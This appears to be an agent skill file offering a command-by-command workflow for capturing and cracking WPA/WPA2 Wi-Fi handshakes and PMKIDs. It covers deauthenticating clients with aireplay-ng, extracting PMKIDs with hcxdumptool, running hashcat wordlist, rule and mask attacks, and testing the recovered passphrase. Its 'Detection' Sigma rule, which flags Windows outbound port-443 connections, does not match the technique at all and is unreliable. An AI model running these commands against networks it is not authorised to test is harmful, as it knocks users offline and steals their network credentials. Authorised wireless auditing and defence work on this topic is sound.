<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: cracking-wpa-handshakes
description: >-
  Capture and crack WPA/WPA2/WPA3 handshakes using aircrack-ng, hashcat, hcxtools, and optimized wordlist strategies for wireless credential recovery.
domain: cybersecurity
subdomain: wireless-security
tags:
  - wpa-cracking
  - hashcat
  - aircrack-ng
  - hcxtools
  - pmkid
  - handshake
version: "1.0"
author: defconxt
license: AGPL-3.0
compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
metadata:
  mitre-attack: ["T1110.002", "T1557.002"]
  nist-csf: ["PR.AC-1", "PR.AC-7"]
  uuid: aed13582-f5a0-458d-8e41-f9a76e90cbf2
---

# Cracking WPA Handshakes

## Overview

WPA handshake cracking recovers pre-shared keys from captured 4-way handshakes or PMKIDs.
This covers capture methods (deauth-forced, passive, PMKID extraction), format conversion
with hcxpcapngtool, and cracking with hashcat (GPU-accelerated) and aircrack-ng. Includes
wordlist optimization, rule-based mutations, and mask attacks for targeted cracking.

Mode: `[MODE: RED]` for this technique.

## Prerequisites

| Requirement | Details |
|---|---|
| aircrack-ng suite for handshake capture | Required |
| hcxdumptool and hcxpcapngtool for PMKID extraction and format conversion | Required |
| hashcat with GPU support (CUDA/OpenCL) | Required |
| Quality wordlists (rockyou.txt, SecLists, custom) | Required |
| Monitor-mode wireless adapter with injection support | Required |

## Key Concepts

### Handshake Types

```
WPA Credential Attacks:
├── 4-Way Handshake (EAPOL)
│   ├── Requires client to connect/reconnect
│   ├── Deauth forces reconnection
│   └── Contains enough data to verify PSK offline
├── PMKID (RSN IE)
│   ├── Extracted from first EAPOL message
│   ├── No client interaction needed
│   └── AP must support PMKID caching
└── WPA3-SAE
    ├── Dragonfly handshake (resistant to offline cracking)
    ├── Side-channel attacks (Dragonblood — CVE-2019-9494)
    └── Transition mode downgrade to WPA2
```

### Handshake Capture

```bash
# Start targeted capture
sudo airodump-ng -c 6 --bssid $TARGET -w capture wlan0mon

# Deauthenticate client to force handshake
sudo aireplay-ng -0 5 -a $TARGET -c $CLIENT wlan0mon

# Verify handshake captured (look for "WPA handshake: XX:XX:XX:XX:XX:XX")
aircrack-ng capture-01.cap
```

### PMKID Extraction

```bash
# Capture PMKID (no client needed)
sudo hcxdumptool -i wlan0mon -o dump.pcapng --enable_status=1 \
  --filterlist_ap=$TARGET --filtermode=2

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 dump.pcapng

# Verify extracted hashes
cat hash.hc22000 | wc -l
```

### Cracking Strategies

```bash
# Aircrack-ng — CPU-based dictionary attack
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# Hashcat — GPU-accelerated with rules
hashcat -m 22000 hash.hc22000 rockyou.txt -r best64.rule -w 3

# Hashcat — mask attack for 8-digit PSK
hashcat -m 22000 hash.hc22000 -a 3 '?d?d?d?d?d?d?d?d'

# Hashcat — hybrid wordlist + mask
hashcat -m 22000 hash.hc22000 -a 6 rockyou.txt '?d?d?d?d'

# Hashcat — prince attack (combined words)
hashcat -m 22000 hash.hc22000 -a 0 combined_wordlist.txt -r prince.rule
```

## Workflow

### Step 1: Capture

```bash
sudo airmon-ng start wlan0
sudo airodump-ng -c $CH --bssid $TARGET -w capture wlan0mon
sudo aireplay-ng -0 5 -a $TARGET wlan0mon
```

### Step 2: Convert

```bash
hcxpcapngtool -o hashes.hc22000 capture-01.cap
```

### Step 3: Crack

```bash
hashcat -m 22000 hashes.hc22000 rockyou.txt -r best64.rule -w 3 --status
```

### Step 4: Escalate

If wordlist fails, try mask attacks for common PSK patterns (phone numbers, dates, 8-digit numeric).

### Step 5: Validate

```bash
# Test recovered PSK
wpa_supplicant -i wlan0 -c <(wpa_passphrase "$SSID" "$PSK")
```

## Detection

```yaml
title: Cracking Wpa Handshakes Detection
id: 071ea486-058a-4270-9687-04d4b915ef9f
status: experimental
description: Detects suspicious activity related to cracking wpa handshakes techniques in wireless security context
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    DestinationPort: 443
    Initiated: "true"
  condition: selection
level: medium
tags:
  - attack.t1110.002
  - attack.t1557.002
  - attack.initial_access
falsepositives:
  - Wireless intrusion detection system performing routine monitoring
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Cracking Wpa Handshakes Detection | windows/network_connection | Sigma rule (medium) |
| ATT&CK Coverage | MITRE ATT&CK | T1110.002, T1557.002 |

## Verification

- [ ] Handshake capture contains complete 4-way exchange
- [ ] PMKID extraction attempted for clientless attack
- [ ] Hash format verified before cracking (hc22000)
- [ ] Multiple cracking strategies applied (wordlist, rules, masks)
- [ ] Recovered credentials stored securely
- [ ] Weak PSK findings documented with remediation

## References

- MITRE ATT&CK T1110.002 — Password Cracking
- hashcat wiki: WPA/WPA2 cracking
- [hcxtools documentation](https://github.com/ZerBea/hcxtools)
- [aircrack-ng documentation](https://aircrack-ng.org/doku.php)
